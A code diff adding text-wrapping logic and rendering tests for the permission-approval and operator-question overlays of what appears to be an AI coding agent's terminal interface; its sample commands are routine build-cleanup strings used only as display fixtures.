+ test(`never exceeds ${width} columns and never splits a word`, () => { + const lines = wrapWords(SENTENCE, width) + for (const line of lines) expect(line.length).toBeLessThanOrEqual(width) + // Rejoining must reproduce the input exactly: any mid-word break would + // introduce a character the source never had at that position. + expect(lines.join(" ").split(/\s+/).join(" ")).toBe(SENTENCE) + }) + } + + test("wraps at the space, not the column", () => { + expect(wrapWords("alpha beta gamma", 12)).toEqual(["alpha beta", "gamma"]) + }) + + test("a lone over-long path breaks at a separator", () => { + const lines = wrapWords(LONG_PATH, 30) + for (const line of lines) expect(line.length).toBeLessThanOrEqual(30) + expect(lines.length).toBeGreaterThan(1) + for (const line of lines.slice(0, -1)) expect(line.endsWith("/")).toBe(true) + expect(lines.join("")).toBe(LONG_PATH) + }) + + test("a lone over-long URL breaks at a separator", () => { + const lines = wrapWords(LONG_URL, 32) + for (const line of lines) expect(line.length).toBeLessThanOrEqual(32) + expect(lines.join("")).toBe(LONG_URL) + expect(lines.length).toBeGreaterThan(1) + }) + + test("a separator-free token falls back to a deliberate hard break", () => { + const token = "x".repeat(25) + const lines = wrapWords(token, 10) + expect(lines).toEqual(["x".repeat(10), "x".repeat(10), "x".repeat(5)]) + }) + + test("continuation rows keep the source indent", () => { + const lines = wrapWords(" alpha beta gamma delta", 14) + expect(lines[0]).toBe(" alpha beta") + expect(lines.length).toBeGreaterThan(1) + for (const line of lines.slice(1)) expect(line.startsWith(" ")).toBe(true) + }) + + test("blank input yields a single blank row", () => { + expect(wrapWords(" ", 40)).toEqual([""]) + }) +}) + +describe("wrapOverlayText", () => { + test("preserves blank lines and caps", () => { + expect(wrapOverlayText("a\n\nb", 40, 8)).toEqual(["a", "", "b"]) + expect(wrapOverlayText("a b c d e f", 4, 2)).toHaveLength(2) + }) +}) + +describe("composeDecisionBody", () => { + const body = [ + "run_shell", + "Run shell command", + "1) npm install", + "2) rm -rf build", + "e expand 1 collapsed payload", + ].join("\n") + + test("the subject leads with the dither ramp and owns the action color", () => { + const rows = composeDecisionBody(body, 60, 8) + expect(rows[0]?.text).toBe(`${DECISION_DITHER} run_shell`) + expect(rows[0]?.fg).toBe(UI.action) + // No second row wears the action color: orange is spent once. + expect(rows.filter((r) => r.fg === UI.action)).toHaveLength(1) + }) + + test("air separates the subject from its context and the choices", () => { + const rows = composeDecisionBody(body, 60, 8) + expect(rows[1]?.text).toBe("") + expect(rows[rows.length - 1]?.text).toBe("") + }) + + test("a wrapped chain segment is indented so it cannot read as a new segment", () => { + const chained = `run_shell\nRun shell command\n1) npm install ${LONG_PATH}` + const rows = composeDecisionBody(chained, 40, 8) + const texts = rows.map((r) => r.text) + const first = texts.findIndex((t) => t.startsWith("1)")) + expect(first).toBeGreaterThan(0) + expect(texts[first + 1]?.startsWith(" ")).toBe(true) + }) + + test("truncation is announced and keeps the last line", () => { + const long = [ + "run_shell", + ...Array.from({ length: 12 }, (_, i) => `${i + 1}) rm -rf build-${i}`), + "e expand 2 collapsed payloads", + ].join("\n") + const rows = composeDecisionBody(long, 60, 8) + const texts = rows.map((r) => r.text) + expect(texts.some((t) => t.includes("more lines · full text in transcript"))).toBe( + true, + ) + expect(texts).toContain("e expand 2 collapsed payloads") + // header + air + 8 context rows + air + expect(rows.length).toBe(11) + }) + + for (const width of WIDTHS) { + test(`no row overflows ${width} columns`, () => { + for (const row of composeDecisionBody(body, width, 8)) { + expect(row.text.length).toBeLessThanOrEqual(width) + } + }) + } +}) + +describe("decisionChoiceRows", () => { + const LABEL = + "Always allow run_shell in /Users/someone/abklabs/corbits-code (session grant)" + + test("every choice occupies the same row count, wrapped or not", () => { + expect(decisionChoiceRows("Reject", true, 60)).toHaveLength(DECISION_CHOICE_ROWS) + expect(decisionChoiceRows(LABEL, false, 40)).toHaveLength(DECISION_CHOICE_ROWS) + }) + + test("the active choice is marked, and choices are single-spaced", () => { + const rows = decisionChoiceRows("Reject", true, 60) + expect(rows[0]?.text).toBe(`${DECISION_ACTIVE_MARK} Reject`) + expect(rows[0]?.fg).toBe(UI.text) + // One row per choice: the list reads as one list, not three statements. + expect(rows).toHaveLength(1) + }) + + test("an inactive choice is dim and unmarked", () => { + const rows = decisionChoiceRows("Reject", false, 60) + expect(rows[0]?.text).toBe(" Reject") + expect(rows[0]?.fg).toBe(UI.textDim) + }) + + for (const width of WIDTHS) { + test(`a long label stays inside ${width} columns`, () => { + const rows = decisionChoiceRows(LABEL, false, width) + for (const row of rows) expect(row.text.length).toBeLessThanOrEqual(width) + expect(rows[0]?.text.endsWith("-")).toBe(false) + }) + } +}) + +describe("decision overlay paints at narrow widths", () => { + for (const width of [60, 48]) { + test(`permission overlay rows stay inside the box at ${width} columns`, async () => { + const frame = await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer) + openListOverlay(shell, { + kind: "permissions", + title: "permission", + items: [ + "Reject", + "Accept once", + "Always allow run_shell in this workspace (session grant)", + ], + body: `run_shell\nRun shell command\n1) npm install ${LONG_URL}\ne expand 1 collapsed payload`, + }) + await h.renderOnce() + return h.captureCharFrame() + }, + { width, height: 30 }, + ) + + const lines = frame.split("\n") + const top = lines.findIndex((l) => l.trimStart().startsWith("┌")) + expect(top).toBeGreaterThanOrEqual(0) + // Border rules stay unbroken: overflowing rows would punch through them. + for (const line of lines) { + const trimmed = line.trimStart().trimEnd() + if (!trimmed.startsWith("┌") && !trimmed.startsWith("└")) continue + expect(/^[┌└├┬┐┘─┤┴]+$/.test(trimmed)).toBe(true) + } + // Every row the host paints starts with a leading space; a row butting + // straight against the border is the signature of a wrapped title or a + // body line that outgrew the box. + const bottom = lines.findIndex((l, i) => i > top && l.trimStart().startsWith("└")) + for (const line of lines.slice(top + 1, bottom)) { + expect(/│\S/.test(line)).toBe(false) + } + expect(frame).toContain(`${DECISION_DITHER} run_shell`) + expect(frame).toContain(`${DECISION_ACTIVE_MARK} Reject`) + }) + } +}) diff --git a/src/tui-opentui/overlay-body.ts b/src/tui-opentui/overlay-body.ts new file mode 100644 index 000000000..0a51f0839 --- /dev/null +++ b/src/tui-opentui/overlay-body.ts @@ -0,0 +1,230 @@ +/** + * Text shaping for the decision overlay — the permission approval and the + * operator question. + * + * This is the one framed surface in the shell and the moment a human is asked + * to authorize something, so it is shaped rather than listed: a dithered header + * carrying the subject, air between the subject and the choices, and two rows + * per choice so a long label wraps instead of clipping and short labels get + * breathing room. + * + * Wrapping is on word boundaries. A token longer than the line (a path, a URL) + * is broken deliberately — preferring a separator the reader already parses as + * a boundary — rather than sliced blind at the column. + */ + +import { middleEllipsis } from "./command-display.js" +import { prefixIndexForWidth, stringWidth } from "../tui/view/height.js" +import { UI } from "./theme.js" + +/** House ordered-dither ramp, sparsest-first, leading the header. */ +export const DECISION_DITHER = "░▒▓" + +/** Marker on the active choice. Solid: the densest cell of the same ramp. */ +export const DECISION_ACTIVE_MARK = "█" + +/** + * Display rows every choice occupies, wrapped or not. One: the choices are a + * single list, and a blank row between them reads as unrelated statements. + */ +export const DECISION_CHOICE_ROWS = 1 + +/** Narrowest line this module will shape text into. */ +const MIN_WRAP_WIDTH = 4 + +const HEADER_PREFIX = `${DECISION_DITHER} ` +const CHOICE_INDENT = " " + +/** Hanging indent on a wrapped continuation row. */ +const CONTINUATION = " " + +/** + * Break points inside an over-long token, best first. A path separator wins + * because a reader already parses it as a boundary; the second tier catches + * URLs and flag-ish identifiers before falling back to a blind cut. + */ +const PREFERRED_BREAKS = ["/", "\\"] as const +const FALLBACK_BREAKS = ["-", "_", ".", ":", "=", "&", "?"] as const + +function splitLongToken(token: string, width: number): [string, string] { + const limit = Math.max(1, Math.floor(width)) + // The cut is a column budget, so the search window is the code-unit index + // where that budget runs out — not the budget itself. + const window = prefixIndexForWidth(token, limit) + for (const candidates of [PREFERRED_BREAKS, FALLBACK_BREAKS]) { + let best = -1 + for (const ch of candidates) { + const idx = token.lastIndexOf(ch, Math.max(0, window - 1)) + if (idx > best) best = idx + } + // Keep the separator on the leading half, and require at least one + // character before it so every break makes progress. + if (best >= 1) return [token.slice(0, best + 1), token.slice(best + 1)] + } + // A single glyph wider than the whole budget still has to make progress. + const cut = + window > 0 ? window : String.fromCodePoint(token.codePointAt(0) ?? 32).length + return [token.slice(0, cut), token.slice(cut)] +} + +/** + * Wrap one logical line at word boundaries. Continuation rows keep the source + * line's leading indent, so the indented payload lines of an expanded command + * stay visually attached to their placeholder. + */ +export function wrapWords(text: string, width: number): string[] { + const w = Math.max(MIN_WRAP_WIDTH, Math.floor(width)) + const trimmed = text.trim() + if (trimmed.length === 0) return [""] + + const indent = text.slice(0, text.length - text.trimStart().length) + const usable = (pad: string): string => (stringWidth(pad) > w - 2 ? "" : pad) + + const out: string[] = [] + let pad = usable(indent) + let line = "" + const flush = (): void => { + out.push(pad + line) + line = "" + pad = usable(indent) + } + + for (const raw of trimmed.split(/\s+/)) { + let word = raw + for (;;) { + const lineWidth = stringWidth(line) + const room = w - stringWidth(pad) - (lineWidth > 0 ? lineWidth + 1 : 0) + if (stringWidth(word) <= room) { + line = line.length > 0 ? `${line} ${word}` : word + break + } + if (line.length > 0) { + flush() + continue + } + const [head, rest] = splitLongToken(word, w - stringWidth(pad)) + line = head + flush() + word = rest + } + } + if (line.length > 0) out.push(pad + line) + return out.length > 0 ? out : [""] +} + +/** Wrap a multi-line block, preserving blank lines, capped at `maxLines`. */ +export function wrapOverlayText( + text: string, + width: number, + maxLines: number, +): string[] { + const cap = Math.max(1, Math.floor(maxLines)) + const out: string[] = [] + for (const raw of text.split("\n")) { + if (out.length >= cap) break + if (raw.trim().length === 0) { + out.push("") + continue + } + for (const line of wrapWords(raw, width)) { + if (out.length >= cap) break + out.push(line) + } + } + return out.slice(0, cap) +} + +/** A shaped overlay row: painted content plus the palette role it wears. */ +export type OverlayBodyRow = { + readonly text: string + readonly fg: string +} + +/** + * Shape a decision body into rows. + * + * The first non-empty line of `text` is the subject — the tool being asked + * about, or the operator's question — and is the one thing on screen wearing + * the action color. Everything below it is context. A trailing blank row is + * part of the body so the choice list never abuts the question. + * + * `contextLines` budgets the context rows only. The header and the two rows of + * air are charged on top of it, so shaping never costs the operator a row of + * the command they are being asked to approve. + */ +export function composeDecisionBody( + text: string, + width: number, + contextLines: number, +): OverlayBodyRow[] { + const budget = Math.max(1, Math.floor(contextLines)) + const lines = text.split("\n") + const headIndex = lines.findIndex((l) => l.trim().length > 0) + if (headIndex < 0) return [] + + const rows: OverlayBodyRow[] = [] + const prefixWidth = stringWidth(HEADER_PREFIX) + const headerWidth = width - prefixWidth + const header = wrapWords(lines[headIndex] ?? "", headerWidth) + header.forEach((line, i) => { + rows.push({ + text: i === 0 ? `${HEADER_PREFIX}${line}` : `${" ".repeat(prefixWidth)}${line}`, + fg: UI.action, + }) + }) + + const rest = lines.slice(headIndex + 1).filter((l) => l.trim().length > 0) + if (rest.length > 0) { + rows.push({ text: "", fg: UI.textDim }) + // Continuation rows are indented so a wrapped chain segment can never be + // mistaken for a further segment of the command being approved. + const wrapped = rest.map((line) => + wrapWords(line, width - CONTINUATION.length).map((part, i) => + i === 0 ? part : `${CONTINUATION}${part}`, + ), + ) + const flat = wrapped.flat() + // The last source line carries the notice and the expand affordance. When + // the budget cannot hold everything, that line keeps a row rather than + // being the first thing dropped — losing it would hide from the operator + // that there is more to inspect before approving. + const truncated = flat.length > budget && rest.length > 1 && budget >= 3 + const tail = truncated ? (wrapped[wrapped.length - 1]?.[0] ?? null) : null + const head = flat.slice(0, tail === null ? budget : budget - 2) + for (const line of head) rows.push({ text: line, fg: UI.text }) + if (tail !== null) { + // Elided rows are announced, never silently dropped: a chain segment that + // fell off the bottom must still be visibly missing, and the transcript + // holds the whole subject untruncated. + const hidden = flat.length - head.length - 1 + rows.push({ + text: `${DECISION_DITHER} ${hidden} more ${hidden === 1 ? "line" : "lines"} · full text in transcript`, + fg: UI.inFlight, + }) + rows.push({ text: tail, fg: UI.textDim }) + } + } + rows.push({ text: "", fg: UI.textDim }) + return rows +} + +/** + * Shape one choice into its single row: the label, marked when active, and + * ellipsized in the middle when it will not fit. Fixed height keeps the list + * viewport's index arithmetic a simple multiple. + */ +export function decisionChoiceRows( + label: string, + active: boolean, + width: number, +): OverlayBodyRow[] { + const fg = active ? UI.text : UI.textDim + const inner = Math.max(1, width - stringWidth(CHOICE_INDENT)) + const text = stringWidth(label) > inner ? middleEllipsis(label, inner) : label + return [ + { + text: `${active ? `${DECISION_ACTIVE_MARK} ` : CHOICE_INDENT}${text}`, + fg, + }, + ] +} diff --git a/src/tui-opentui/overlay-paint.test.ts b/src/tui-opentui/overlay-paint.test.ts new file mode 100644 index 000000000..8c51a4c78 --- /dev/null +++ b/src/tui-opentui/overlay-paint.test.ts @@ -0,0 +1,217 @@ +/** + * Frame-level regression: an open overlay and the prompt border must never write + * into the same terminal cells. Asserting "the overlay opened" is not enough — + * the earlier bug painted correct state into overlapping rects, so these tests + * read the painted characters back out of the headless renderer. + */ + +import { describe, expect, test } from "bun:test" + +import { withTestRenderer } from "./harness.js" +import { + appendStreamRow, + createAppShell, + enterCopyMode, + openHelpOverlay, + openListOverlay, + openMentionsOverlay, + openPalette, + openPluginsOverlay, + openResumeOverlay, + openSettingsOverlay, + setPromptModelLabel, + type AppShell, +} from "./shell.js" + +const MODEL_LABEL = "xai/thegreataxios · grok-4.5" + +const ITEMS = [ + "Z.AI / glm-5.2", + "Anthropic / opus-4.6", + "OpenAI / gpt-5.1", + "Google / gemini-3", + "Meta / llama-4", + "xAI / grok-4.5", + "Mistral / large-3", + "Cohere / command-a", + "DeepSeek / v3.2", + "Qwen / max", +] as const + +/** Frame rows between the overlay host's top and bottom border rules. */ +function overlayInterior(frame: string): readonly string[] { + const lines = frame.split("\n") + const top = lines.findIndex((l) => l.trimStart().startsWith("┌")) + if (top < 0) throw new Error("no overlay border found in frame") + const bottom = lines.findIndex((l, i) => i > top && l.trimStart().startsWith("└")) + if (bottom < 0) throw new Error("unterminated overlay border in frame") + return lines + .slice(top + 1, bottom) + .map((l) => l.replace(/^\s*│/, "").replace(/│\s*$/, "").trimEnd()) +} + +function frameLine(frame: string, predicate: (line: string) => boolean): string[] { + return frame.split("\n").filter(predicate) +} + +async function paintOverlay( + open: (shell: AppShell) => void, + size: { readonly width: number; readonly height: number }, +): Promise<{ readonly frame: string; readonly interior: readonly string[] }> { + return withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer) + setPromptModelLabel(shell, { + profile: "xai/thegreataxios", + model: "grok-4.5", + }) + // An overlay always opens over a live session; the landing splits the + // transcript around the prompt box and is a different layout entirely. + appendStreamRow(shell, { role: "assistant", text: "session underway" }) + open(shell) + await h.renderOnce() + const frame = h.captureCharFrame() + return { frame, interior: overlayInterior(frame) } + }, + size, + ) +} + +/** + * Every interior row must be either blank or exactly one expected overlay row. + * Two renderables sharing cells produces a hybrid string that matches nothing. + */ +function expectCleanInterior( + interior: readonly string[], + expected: readonly string[], +): void { + const allowed = new Set(expected.map((e) => e.trimEnd())) + for (const row of interior) { + if (row.trim().length === 0) continue + expect(allowed.has(row)).toBe(true) + } +} + +const SIZES = [ + { width: 80, height: 24 }, + { width: 100, height: 20 }, + { width: 100, height: 30 }, + { width: 120, height: 40 }, +] as const + +describe("overlay host never shares cells with the prompt border", () => { + for (const size of SIZES) { + test(`model picker paints clean rows at ${size.width}x${size.height}`, async () => { + const { frame, interior } = await paintOverlay( + (shell) => + openListOverlay(shell, { + kind: "model_picker", + title: "model", + items: ITEMS, + }), + size, + ) + + const expected = [ + " model · Esc cancel · Enter choose", + ` > ${ITEMS[0]}`, + ...ITEMS.slice(1).map((i) => ` ${i}`), + ] + expectCleanInterior(interior, expected) + + // The selected row must be intact, not overwritten by the model label. + expect(interior).toContain(` > ${ITEMS[0]}`) + for (const row of interior) { + expect(row.includes(MODEL_LABEL)).toBe(false) + expect(row.includes("thegreataxios")).toBe(false) + } + + // The label rides the prompt box's top border, outside the overlay box. + const barRows = frameLine(frame, (l) => l.includes(MODEL_LABEL)) + expect(barRows).toHaveLength(1) + expect(barRows[0]?.trim()).toEndWith(`${MODEL_LABEL} ─╮`) + }) + } + + test("overlay rows do not spill past the host's bottom border", async () => { + const { frame } = await paintOverlay( + (shell) => + openListOverlay(shell, { kind: "model_picker", title: "model", items: ITEMS }), + { width: 100, height: 20 }, + ) + // A border rule interrupted by list text is the overflow signature. + for (const line of frame.split("\n")) { + const trimmed = line.trimStart() + if (!trimmed.startsWith("└") && !trimmed.startsWith("┌")) continue + expect(/^[┌└├┬┐┘─┤┴]+$/.test(trimmed.trimEnd())) .toBe(true) + } + }) + + for (const size of [ + { width: 80, height: 24 }, + { width: 100, height: 30 }, + { width: 60, height: 24 }, + ] as const) { + test(`mention popup with matches clears the prompt border at ${size.width}x${size.height}`, async () => { + const { frame } = await paintOverlay((shell) => openMentionsOverlay(shell), size) + + // Every border rule stays a border rule: no list text glued onto it, and + // the overlay host's own rules never share a row with the prompt box's. + const promptRuleRows = frameLine(frame, (l) => l.includes("─╮") || l.includes("─╯")) + for (const line of frame.split("\n")) { + const trimmed = line.trimStart() + if (!trimmed.startsWith("└") && !trimmed.startsWith("┌")) continue + expect(/^[┌└├┬┐┘─┤┴]+$/.test(trimmed.trimEnd())).toBe(true) + } + expect(promptRuleRows.length).toBeGreaterThan(0) + }) + } +}) + +describe("every overlay kind paints clean rows", () => { + const openers: readonly [string, (shell: AppShell) => void][] = [ + ["settings", (s) => openSettingsOverlay(s)], + ["help", (s) => openHelpOverlay(s)], + ["plugins", (s) => openPluginsOverlay(s)], + ["resume", (s) => openResumeOverlay(s)], + ["mentions", (s) => openMentionsOverlay(s)], + ["palette", (s) => openPalette(s)], + [ + "permissions", + (s) => + openListOverlay(s, { + kind: "permissions", + title: "permission", + items: ["Allow once", "Allow always", "Deny"], + body: "bash(rm -rf build) wants to run in the workspace root and will delete generated output before the next build starts.", + }), + ], + [ + "copy", + (s) => { + for (let i = 0; i < 12; i++) { + appendStreamRow(s, { role: "assistant", text: `reply line ${i}` }) + } + enterCopyMode(s) + }, + ], + ] + + for (const [name, open] of openers) { + test(`${name} overlay keeps the model label out of its rows`, async () => { + const { frame, interior } = await paintOverlay(open, { + width: 100, + height: 24, + }) + + expect(interior.length).toBeGreaterThan(0) + for (const row of interior) { + expect(row.includes("thegreataxios")).toBe(false) + } + + const barRows = frameLine(frame, (l) => l.includes(MODEL_LABEL)) + expect(barRows).toHaveLength(1) + expect(barRows[0]?.trim()).toEndWith(`${MODEL_LABEL} ─╮`) + }) + } +}) diff --git a/src/tui-opentui/overlays.test.ts b/src/tui-opentui/overlays.test.ts new file mode 100644 index 000000000..7a0410c34 --- /dev/null +++ b/src/tui-opentui/overlays.test.ts @@ -0,0 +1,446 @@ +/** + * Wave 5: primary overlays — open / navigate / Esc restore + resize floors. + */ +import { describe, expect, test } from "bun:test" +import { IDLE_TRANSCRIPT_FLOOR, OVERLAY_TRANSCRIPT_FLOOR } from "./geometry/index" +import { focusOwner, scrollLease } from "./focus/index" +import { withTestRenderer } from "./harness" +import { + makePermissionItems, + openModelPickerOverlay, + openOperatorOverlay, + openPermissionsOverlay, + wrapOverlayBody, +} from "./overlays" +import { + acceptOverlaySelection, + clearShellOverlayHooks, + closeInsetOverlay, + createAppShell, + moveOverlaySelection, + pageOverlaySelection, + relayout, + setShellOverlayHooks, + type OverlaySelection, +} from "./shell" +import { visibleSlice } from "./list-viewport" + +describe("wrapOverlayBody", () => { + test("splits long lines and caps", () => { + const lines = wrapOverlayBody("abcdefghij", 4, 3) + expect(lines).toEqual(["abcd", "efgh", "ij"]) + }) + + test("preserves blank lines from newlines", () => { + const lines = wrapOverlayBody("a\n\nb", 40, 8) + expect(lines).toEqual(["a", "", "b"]) + }) +}) + +describe("permissions overlay", () => { + test("opens 30 options; keep-active-visible; Esc restores prompt", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: true, + run: "idle", + }) + try { + const items = makePermissionItems(30) + openPermissionsOverlay(shell, { items }) + expect(shell.overlayKind).toBe("permissions") + expect(shell.overlayList).not.toBeNull() + expect(shell.overlayItems.length).toBe(30) + expect(shell.overlayList!.activeIndex).toBe(0) + expect(focusOwner(shell.focus)).toBe("overlay") + expect(scrollLease(shell.focus)).toBe("overlay") + expect(shell.layout.overlayMode).toBe("inset") + expect(shell.layout.transcriptHeight).toBeGreaterThanOrEqual( + OVERLAY_TRANSCRIPT_FLOOR, + ) + expect(shell.overlayHost.visible).toBe(true) + + await h.renderOnce() + let frame = h.captureCharFrame() + expect(frame).toContain("permissions") + // First option is in the list model (may clip if body short). + expect(shell.overlayItems[0]).toBe("Allow once") + expect(frame).toMatch(/Allow/) + + // Navigate deep enough that window must scroll (keep-active-visible). + const listH = shell.overlayList!.height + for (let i = 0; i < listH + 5; i++) { + moveOverlaySelection(shell, 1) + } + expect(shell.overlayList!.activeIndex).toBe(listH + 5) + const slice = visibleSlice(shell.overlayList!) + expect(shell.overlayList!.activeIndex).toBeGreaterThanOrEqual( + slice.start, + ) + expect(shell.overlayList!.activeIndex).toBeLessThan(slice.end) + + await h.renderOnce() + frame = h.captureCharFrame() + const activeLabel = + shell.overlayItems[shell.overlayList!.activeIndex] ?? "" + expect(frame).toContain(activeLabel.slice(0, 20)) + + h.pressKey("Escape") + await h.renderOnce() + // Prefer direct close if mock Escape is flaky under dense paint. + if (shell.overlayList) closeInsetOverlay(shell) + expect(shell.overlayList).toBeNull() + expect(shell.overlayKind).toBeNull() + expect(focusOwner(shell.focus)).toBe("prompt") + expect(shell.layout.overlayMode).toBe("closed") + expect(shell.layout.transcriptHeight).toBeGreaterThanOrEqual( + IDLE_TRANSCRIPT_FLOOR, + ) + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("Esc key closes permissions overlay via wireKeys", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: true, + }) + try { + openPermissionsOverlay(shell, { items: makePermissionItems(10) }) + expect(focusOwner(shell.focus)).toBe("overlay") + // ESC needs disambiguation delay on the mock stdin path. + h.pressKey("Escape") + await new Promise((r) => setTimeout(r, 60)) + await h.renderOnce() + expect(shell.overlayList).toBeNull() + expect(focusOwner(shell.focus)).toBe("prompt") + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("page moves selection and keeps active visible", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + }) + try { + openPermissionsOverlay(shell, { items: makePermissionItems(30) }) + const before = shell.overlayList!.activeIndex + pageOverlaySelection(shell, 1) + expect(shell.overlayList!.activeIndex).toBeGreaterThan(before) + const slice = visibleSlice(shell.overlayList!) + expect(shell.overlayList!.activeIndex).toBeGreaterThanOrEqual( + slice.start, + ) + expect(shell.overlayList!.activeIndex).toBeLessThan(slice.end) + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) +}) + +describe("operator question overlay", () => { + test("long body + choices; no status overpaint; Esc restores", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: true, + run: "idle", + }) + try { + openOperatorOverlay(shell) + expect(shell.overlayKind).toBe("operator") + expect(shell.overlayBodyLines.length).toBeGreaterThan(0) + expect(shell.overlayItems.length).toBeGreaterThan(3) + expect(focusOwner(shell.focus)).toBe("overlay") + + await h.renderOnce() + const frame = h.captureCharFrame() + expect(frame).toContain("operator") + // Body fragment visible + expect(frame).toMatch(/destructive|working tree|git reset/i) + // Choice visible + expect(frame).toMatch(/Cancel|Allow/) + // The overlay carries its own keys now that there is no hint strip. + expect(frame).toContain("Esc cancel") + + // Esc restore: closeInsetOverlay is the Esc path (same as key handler). + closeInsetOverlay(shell) + expect(shell.overlayList).toBeNull() + expect(shell.overlayKind).toBeNull() + expect(focusOwner(shell.focus)).toBe("prompt") + expect(shell.layout.overlayMode).toBe("closed") + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) +}) + +describe("model / provider picker", () => { + test("opens shared scroll kit; navigate + accept + Esc", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: true, + run: "idle", + }) + try { + openModelPickerOverlay(shell) + expect(shell.overlayKind).toBe("model_picker") + expect(shell.overlayItems.length).toBeGreaterThanOrEqual(5) + expect(focusOwner(shell.focus)).toBe("overlay") + + await h.renderOnce() + let frame = h.captureCharFrame() + expect(frame).toContain("model") + expect(frame).toMatch(/anthropic|openai|claude/i) + + moveOverlaySelection(shell, 2) + acceptOverlaySelection(shell) + expect(shell.overlayList).toBeNull() + expect(focusOwner(shell.focus)).toBe("prompt") + + await h.renderOnce() + frame = h.captureCharFrame() + expect(frame).toContain("chose (model_picker)") + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) +}) + +describe("overlay accept callbacks", () => { + test("permissions open → navigate → accept fires onAccept with payload", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + }) + try { + const accepted: OverlaySelection[] = [] + openPermissionsOverlay(shell, { + items: ["Allow once", "Allow session", "Deny"], + itemIds: ["once", "session", "deny"], + onAccept: (s) => accepted.push(s), + }) + moveOverlaySelection(shell, 1) + acceptOverlaySelection(shell) + expect(accepted).toEqual([ + { + kind: "permissions", + index: 1, + label: "Allow session", + id: "session", + }, + ]) + expect(shell.overlayList).toBeNull() + expect(focusOwner(shell.focus)).toBe("prompt") + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("operator accept fires shell-level onOperator when no per-open", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + }) + try { + const accepted: OverlaySelection[] = [] + setShellOverlayHooks(shell, { + onOperator: (s) => accepted.push(s), + }) + openOperatorOverlay(shell, { + body: "Proceed?", + choices: ["Cancel", "Allow once", "Deny"], + }) + moveOverlaySelection(shell, 1) + acceptOverlaySelection(shell) + expect(accepted).toHaveLength(1) + expect(accepted[0]).toEqual({ + kind: "operator", + index: 1, + label: "Allow once", + }) + } finally { + clearShellOverlayHooks(shell) + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("model_picker accept fires onModel with id", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + }) + try { + const accepted: OverlaySelection[] = [] + setShellOverlayHooks(shell, { + onModel: (s) => accepted.push(s), + }) + openModelPickerOverlay(shell, { + items: ["anthropic / sonnet", "openai / gpt-5"], + itemIds: ["anthropic:claude-sonnet-4", "openai:gpt-5"], + activeIndex: 0, + }) + moveOverlaySelection(shell, 1) + acceptOverlaySelection(shell) + expect(accepted).toEqual([ + { + kind: "model_picker", + index: 1, + label: "openai / gpt-5", + id: "openai:gpt-5", + }, + ]) + } finally { + clearShellOverlayHooks(shell) + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("Esc / close restores without accept callback", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + }) + try { + const accepted: OverlaySelection[] = [] + openPermissionsOverlay(shell, { + items: ["Allow once", "Deny"], + itemIds: ["once", "deny"], + onAccept: (s) => accepted.push(s), + }) + moveOverlaySelection(shell, 1) + closeInsetOverlay(shell) + expect(accepted).toEqual([]) + expect(shell.overlayList).toBeNull() + expect(focusOwner(shell.focus)).toBe("prompt") + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("per-open onAccept wins over shell-level hooks", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + }) + try { + const shellHits: OverlaySelection[] = [] + const openHits: OverlaySelection[] = [] + setShellOverlayHooks(shell, { + onPermission: (s) => shellHits.push(s), + }) + openPermissionsOverlay(shell, { + items: ["Allow once"], + onAccept: (s) => openHits.push(s), + }) + acceptOverlaySelection(shell) + expect(openHits).toHaveLength(1) + expect(shellHits).toEqual([]) + } finally { + clearShellOverlayHooks(shell) + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) +}) + +describe("resize mid-overlay", () => { + test("80×24 ↔ larger keeps floors; closed restores idle floor", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + run: "idle", + }) + try { + openPermissionsOverlay(shell, { items: makePermissionItems(30) }) + expect(shell.layout.transcriptHeight).toBeGreaterThanOrEqual( + OVERLAY_TRANSCRIPT_FLOOR, + ) + + relayout(shell, { + columns: 120, + rows: 40, + overlayMode: "inset", + overlayBodyRows: shell.layout.overlayHeight, + }) + expect(shell.layout.transcriptHeight).toBeGreaterThanOrEqual( + OVERLAY_TRANSCRIPT_FLOOR, + ) + expect(shell.overlayList).not.toBeNull() + expect(shell.layout.overlayHeight).toBeGreaterThan(0) + + relayout(shell, { + columns: 80, + rows: 24, + overlayMode: "inset", + overlayBodyRows: shell.layout.overlayHeight, + }) + expect(shell.layout.transcriptHeight).toBeGreaterThanOrEqual( + OVERLAY_TRANSCRIPT_FLOOR, + ) + + closeInsetOverlay(shell) + expect(shell.layout.overlayMode).toBe("closed") + expect(shell.layout.transcriptHeight).toBeGreaterThanOrEqual( + IDLE_TRANSCRIPT_FLOOR, + ) + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + 